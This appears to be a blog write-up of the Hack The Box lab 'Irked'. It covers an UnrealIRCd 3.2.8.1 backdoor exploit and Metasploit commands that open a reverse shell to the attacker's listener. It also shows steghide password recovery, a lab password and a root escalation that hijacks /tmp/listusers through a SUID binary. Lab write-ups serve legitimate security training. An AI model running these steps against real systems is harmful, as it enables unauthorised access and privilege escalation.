CTF·Mar 21, 2026·5 min read

HTB Irked Writeup: UnrealIRCd Backdoor to Root via SUID Abuse

UnrealIRCd 3.2.8.1 Backdoor Analysis

SUID Binary Abuse for Root

A second SUID-based escalation, using Nmap rather than a custom binary, appears in HTB Beep: LFI to Root via Nmap Binary Exploitation.

Reconnaissance

Add machine IP to the hosts file.

Nano editor showing /etc/hosts with irked.htb mapped to 10.129.7.101

Conduct a port scan against irked.htb:

sudo nmap -sV -p- --max-rate 10000 irked.htb

Nmap scan results: SSH 22, HTTP 80, RPC 111, and three UnrealIRCd ports (6697, 8067, 65534) on Debian

Well, I'll check the web server directly ->

I don't have background knowledge about IRC. That is why, let's check.

irked.htb web page displaying angry yellow smiley face and IRC is almost working message

IRC (Internet Relay Chat) is a text-based chat system for instant messaging.

IRC (Internet Relay Chat) is a text-based chat system for instant messaging. One of the commonly encountered vulnerabilities in this service is the UnrealIRCd vulnerability, which can allow critical remote command execution.

Enumeration

Conducting a fuzzing operation ->

dirb http://irked.htb

DIRB directory scan output finding /manual/ and /server-status on irked.htb

dirsearch -u http://irked.htb -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

Dirsearch scan with medium wordlist confirming same /manual directory result

Poor results, let's give a second shot to the port scanning results.

rpcbind 2-4 (RPC #100000) did not have an exploit.

rpcbind demonstrated that only three exploits straightforwardly causing disruption of service.

searchsploit "rpcbind"

searchsploit rpcbind results showing only denial-of-service exploits available

searchsploit "UnrealIRCd"

searchsploit UnrealIRCd results: version 3.2.8.1 Backdoor Command Execution rated excellent

Exploitation

I don't use msf exploits anymore because of my preparation for OSCP. In order to access the machine, use the first and third one as an exploit.

Unreal IRCD version 3.2.8.1 remote command execution exploit.

I faced a simple issue while I was executing the exploit:

Python IRC exploit failing with SyntaxError on print statement due to Python 2 vs 3 incompatibility

print "!#@#@! h4ck1ng is just Unreal #@!#%%\n"

The highlighted section is leading to an error, so I'll change the Python version or refactor the code to be compatible with python3.

UnrealIRCd exploit source: injectcode function sending AB; prefix payload via IRC socket

I found another one that works great.

UnrealRCE

Alter IP and port positions accordingly.

Modified IRC exploit script with configurable local IP, port, and multiple reverse shell payload options

6697, 8067 were assigned for IRC.

└─# python irc.py 10.129.7.101 6697 -payload bash
^CTraceback (most recent call last):
  File "/home/kali/Desktop/irc.py", line 54, in ＜module＞
    data = s.recv(1024)
KeyboardInterrupt

The exploit did not want to wait for the connection. I discovered a readme file ->

RCE

The guy is referring to an exploit from a ProvingGrounds machine called SunsetNoontide.

Then I found the writeup of the machine from ->

https://cyberarri.com/2024/03/30/sunset-noontide-redo-pg-play-writeup/

The guy mentions the exploit:

https://github.com/chancej715/UnrealIRCd-3.2.8.1-Backdoor-Command-Execution/blob/main/script.py

python3 script.py ＜target＞ ＜tport＞ ＜listener＞ ＜lport＞

I could not get a reverse shell, it stucks. I shifted my approach to msfconsole.

Use -> https://khadkadevraj100.medium.com/exploiting-vulnerability-unreal-ircd-backdoor-6c8f35a0111c

msfconsole
search "unreal"
use 5

Metasploit search for Unreal showing unreal_ircd_3281_backdoor module selected for exploitation

show options
set RHOSTS 10.129.7.101
set CHOST 10.10.16.64
set CPORT 4444

I got a payload selection error.

msf exploit(unix/irc/unreal_ircd_3281_backdoor) > run
[-] 10.129.7.101:8067 - Exploit failed: A payload has not been selected.
[*] Exploit completed, but no session was created.
msf exploit(unix/irc/unreal_ircd_3281_backdoor) >

show payloads
set PAYLOAD 8

Metasploit payload list with cmd/unix/reverse_perl selected as payload number 8

The exploit did not work on 6697, so I decided to reset the machine and move to the manual exploit again.

https://github.com/chancej715/UnrealIRCd-3.2.8.1-Backdoor-Command-Execution/blob/main/script.py

python3 script.py 10.129.7.169 8067 10.10.16.64 3000

Netcat listener catching reverse shell from irked; ls showing UnrealIRCd directory contents

Shell Upgrade

which python
/usr/bin/python
which python2
/usr/bin/python2
which python3
/usr/bin/python3

We have full Python binaries available. Therefore, try to upgrade the shell:

https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/

Use python -c 'import pty; pty.spawn("/bin/bash")'

Python PTY spawn upgrading raw shell to interactive bash session as ircd user

User Flag

sudo binary was not assigned, so I'll ask HackTricks to conduct light enumeration.

I did not get the user flag.

Permission denied reading /home/djmardov/user.txt; chmod 777 attempt also fails

I decided to manually check every directory in the user's assets.

Hidden .backup file in Documents containing steganography password UPupDOWNdownLRlrBAbaSSss

The clue is clear, let's run steghide:

Use it -> https://github.com/cyb0rgdoll/image-steg

steghide extract -sf irked.jpg

steghide extracting pass.txt from irked.jpg; extracted password is Kab6h+m+bbp2J:HG

User pass is ready!

djmardov:Kab6h+m+bbp2J:HG

ircd@irked:/home/djmardov/Documents$ su djmardov
su djmardov
Password: Kab6h+m+bbp2J:HG

djmardov@irked:~/Documents$

Get the user flag:

SSH session as djmardov on irked; cat user.txt reveals user flag hash

Privilege Escalation

Not possible to run the sudo binary.

sudo -l attempt fails with command not found on irked

I'll shift to capabilities & SUID.

strings /usr/bin/viewuser

Check the binary source code. The script uses setuid, system, and great hints about where it tests user permissions.

strings output of SUID binary showing setuid, puts, system imports and /tmp/listusers path reference

Close-up of strings output: application developed to set and test user permissions, calls /tmp/listusers

There was no file named listusers. Hence, I created mine.

# we don't have sudo itself
echo "/bin/bash" > /tmp/listusers
chmod +x listusers
/usr/bin/viewuser

SUID viewuser exploitation: /tmp/listusers set to /bin/bash, executing viewuser escalates to root shell

Root Flag

No sudo binary available in the case:

root@irked:/tmp# which sudo
which sudo
root@irked:/tmp#

Get the root flag from the root directory ->